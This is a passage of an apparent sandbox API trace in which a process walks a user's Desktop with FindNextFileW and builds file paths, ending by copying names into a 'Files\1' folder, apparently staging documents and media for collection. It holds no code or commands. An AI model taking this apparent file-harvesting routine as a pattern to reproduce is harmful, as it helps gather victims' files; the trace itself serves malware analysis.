dwReserved0=0x0, dwReserved1=0x0, cFileName="u7Hg4VmMcX1v.mp3", cAlternateFileName="U7HG4V~1.MP3")) returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav", psz="C:\\Users\\aETAdzjz\\Desktop\\\\u7Hg4VmMcX1v.mp3", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\u7Hg4VmMcX1v.mp3") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\u7Hg4VmMcX1v.mp3", len=0x2b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\u7Hg4VmMcX1v.mp3") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\u7Hg4VmMcX1v.mp3", psz="C:\\Users\\aETAdzjz\\Desktop\\\\u7Hg4VmMcX1v.mp3", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\u7Hg4VmMcX1v.mp3") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3", len=0x2a | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\u7Hg4VmMcX1v.mp3", psz="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3", len=0x2a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3", psz="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3") returned 1 [0165.712] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1fa1090, ftCreationTime.dwHighDateTime=0x1d5e4f7, ftLastAccessTime.dwLowDateTime=0x1a1940d0, ftLastAccessTime.dwHighDateTime=0x1d5dfcd, ftLastWriteTime.dwLowDateTime=0x1a1940d0, ftLastWriteTime.dwHighDateTime=0x1d5dfcd, nFileSizeHigh=0x0, nFileSizeLow=0xc92e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEq 32 9.mp4", cAlternateFileName="UEQ329~1.MP4")) returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\u7Hg4VmMcX1v.mp3", psz="C:\\Users\\aETAdzjz\\Desktop\\\\UEq 32 9.mp4", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\UEq 32 9.mp4") returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\UEq 32 9.mp4", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\UEq 32 9.mp4") returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\UEq 32 9.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\\\UEq 32 9.mp4", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\UEq 32 9.mp4") returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4") returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\UEq 32 9.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4") returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4") returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4") returned 1 [0165.712] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58c5a550, ftCreationTime.dwHighDateTime=0x1d5e1f6, ftLastAccessTime.dwLowDateTime=0xfcb5b070, ftLastAccessTime.dwHighDateTime=0x1d5dfe8, ftLastWriteTime.dwLowDateTime=0xfcb5b070, ftLastWriteTime.dwHighDateTime=0x1d5dfe8, nFileSizeHigh=0x0, nFileSizeLow=0xa068, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPuNIoomIq.ppt", cAlternateFileName="UPUNIO~1.PPT")) returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\UEq 32 9.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\\\UPuNIoomIq.ppt", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\UPuNIoomIq.ppt") returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\UPuNIoomIq.ppt", len=0x29 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\UPuNIoomIq.ppt") returned 1 [0165.712] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\UPuNIoomIq.ppt", psz="C:\\Users\\aETAdzjz\\Desktop\\\\UPuNIoomIq.ppt", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\UPuNIoomIq.ppt") returned 1 [0165.714] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt") returned 1 [0165.714] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\UPuNIoomIq.ppt", psz="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt") returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt") returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt", psz="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt") returned 1 [0165.715] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb631030, ftCreationTime.dwHighDateTime=0x1d5e6af, ftLastAccessTime.dwLowDateTime=0x9400f2a0, ftLastAccessTime.dwHighDateTime=0x1d5e124, ftLastWriteTime.dwLowDateTime=0x9400f2a0, ftLastWriteTime.dwHighDateTime=0x1d5e124, nFileSizeHigh=0x0, nFileSizeLow=0x1774d, dwReserved0=0x0, dwReserved1=0x0, cFileName="w6p-n2Pn4c_YiXCLNKKF.xlsx", cAlternateFileName="W6P-N2~1.XLS")) returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\UPuNIoomIq.ppt", psz="C:\\Users\\aETAdzjz\\Desktop\\\\w6p-n2Pn4c_YiXCLNKKF.xlsx", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\w6p-n2Pn4c_YiXCLNKKF.xlsx") returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\w6p-n2Pn4c_YiXCLNKKF.xlsx", len=0x34 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\w6p-n2Pn4c_YiXCLNKKF.xlsx") returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\w6p-n2Pn4c_YiXCLNKKF.xlsx", psz="C:\\Users\\aETAdzjz\\Desktop\\\\w6p-n2Pn4c_YiXCLNKKF.xlsx", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\w6p-n2Pn4c_YiXCLNKKF.xlsx") returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx", len=0x33 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx") returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\w6p-n2Pn4c_YiXCLNKKF.xlsx", psz="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx", len=0x33 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx") returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx", len=0x33 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx") returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx", psz="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx", len=0x33 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx") returned 1 [0165.715] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474abb50, ftCreationTime.dwHighDateTime=0x1d5dff1, ftLastAccessTime.dwLowDateTime=0xbbe0c460, ftLastAccessTime.dwHighDateTime=0x1d5e0e5, ftLastWriteTime.dwLowDateTime=0xbbe0c460, ftLastWriteTime.dwHighDateTime=0x1d5e0e5, nFileSizeHigh=0x0, nFileSizeLow=0x18bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wQ6VPM.pdf", cAlternateFileName="")) returned 1 [0165.715] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\w6p-n2Pn4c_YiXCLNKKF.xlsx", psz="C:\\Users\\aETAdzjz\\Desktop\\\\wQ6VPM.pdf", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\wQ6VPM.pdf") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\wQ6VPM.pdf", len=0x25 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\wQ6VPM.pdf") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\wQ6VPM.pdf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\wQ6VPM.pdf", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\wQ6VPM.pdf") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf", len=0x24 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\wQ6VPM.pdf", psz="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf", len=0x24 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf", len=0x24 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf", psz="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf", len=0x24 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf") returned 1 [0165.716] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67819e00, ftCreationTime.dwHighDateTime=0x1d5d995, ftLastAccessTime.dwLowDateTime=0x84e61a00, ftLastAccessTime.dwHighDateTime=0x1d5e775, ftLastWriteTime.dwLowDateTime=0x84e61a00, ftLastWriteTime.dwHighDateTime=0x1d5e775, nFileSizeHigh=0x0, nFileSizeLow=0x8bdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="x4JnVvIYvtpI6A0fRYm.jpg", cAlternateFileName="X4JNVV~1.JPG")) returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\wQ6VPM.pdf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\x4JnVvIYvtpI6A0fRYm.jpg", len=0x32 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\x4JnVvIYvtpI6A0fRYm.jpg") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\x4JnVvIYvtpI6A0fRYm.jpg", len=0x32 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\x4JnVvIYvtpI6A0fRYm.jpg") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\x4JnVvIYvtpI6A0fRYm.jpg", psz="C:\\Users\\aETAdzjz\\Desktop\\\\x4JnVvIYvtpI6A0fRYm.jpg", len=0x32 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\x4JnVvIYvtpI6A0fRYm.jpg") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg", len=0x31 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\x4JnVvIYvtpI6A0fRYm.jpg", psz="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg", len=0x31 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg") returned 1 [0165.716] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg", psz="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg") returned 1 [0165.717] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d63f1a0, ftCreationTime.dwHighDateTime=0x1d5ddef, ftLastAccessTime.dwLowDateTime=0xea41e430, ftLastAccessTime.dwHighDateTime=0x1d5e6ba, ftLastWriteTime.dwLowDateTime=0xea41e430, ftLastWriteTime.dwHighDateTime=0x1d5e6ba, nFileSizeHigh=0x0, nFileSizeLow=0x113e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Eg-Uxlg8tb.png", cAlternateFileName="_EG-UX~1.PNG")) returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\x4JnVvIYvtpI6A0fRYm.jpg", psz="C:\\Users\\aETAdzjz\\Desktop\\\\_Eg-Uxlg8tb.png", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\_Eg-Uxlg8tb.png") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\_Eg-Uxlg8tb.png", len=0x2a | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\_Eg-Uxlg8tb.png") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\_Eg-Uxlg8tb.png", psz="C:\\Users\\aETAdzjz\\Desktop\\\\_Eg-Uxlg8tb.png", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\_Eg-Uxlg8tb.png") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\_Eg-Uxlg8tb.png", psz="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png", len=0x29 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png", psz="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png") returned 1 [0165.717] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x851aa9e0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x851aa9e0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x851aa9e0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="~$I .doc.rtf", cAlternateFileName="~$IDOC~1.RTF")) returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\_Eg-Uxlg8tb.png", psz="C:\\Users\\aETAdzjz\\Desktop\\\\~$I .doc.rtf", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\~$I .doc.rtf") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\~$I .doc.rtf", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\~$I .doc.rtf") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\~$I .doc.rtf", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\~$I .doc.rtf") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.717] SysReAllocStringLen (in: pbstr=0x1e7dfa08*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\", len=0x1b | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\\\") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\", len=0x1b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\\\", psz="C:\\Users\\aETAdzjz\\Desktop\\\\", len=0x1b | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\\\") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Desktop\\\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfc88*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7dfa00*=0x0, psz="Files\\1\\\\~$I .doc.rtf", len=0x15 | out: pbstr=0x1e7dfa00*="Files\\1\\\\~$I .doc.rtf") returned 1 [0165.718] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="Files\\1\\\\~$I .doc.rtf", len=0x15 | out: pbstr=0x1e7df978*="Files\\1\\\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\1\\\\~$I .doc.rtf", psz="Files\\1\\\\~$I .doc.rtf", len=0x15 | out: pbstr=0x1e7dfa00*="Files\\1\\\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="Files\\1\\~$I .doc.rtf", len=0x14 | out: pbstr=0x1e7df974*="Files\\1\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\1\\\\~$I .doc.rtf", psz="Files\\1\\~$I .doc.rtf", len=0x14 | out: pbstr=0x1e7dfa00*="Files\\1\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="Files\\1\\~$I .doc.rtf", len=0x14 | out: pbstr=0x1e7df970*="Files\\1\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\1\\~$I .doc.rtf", 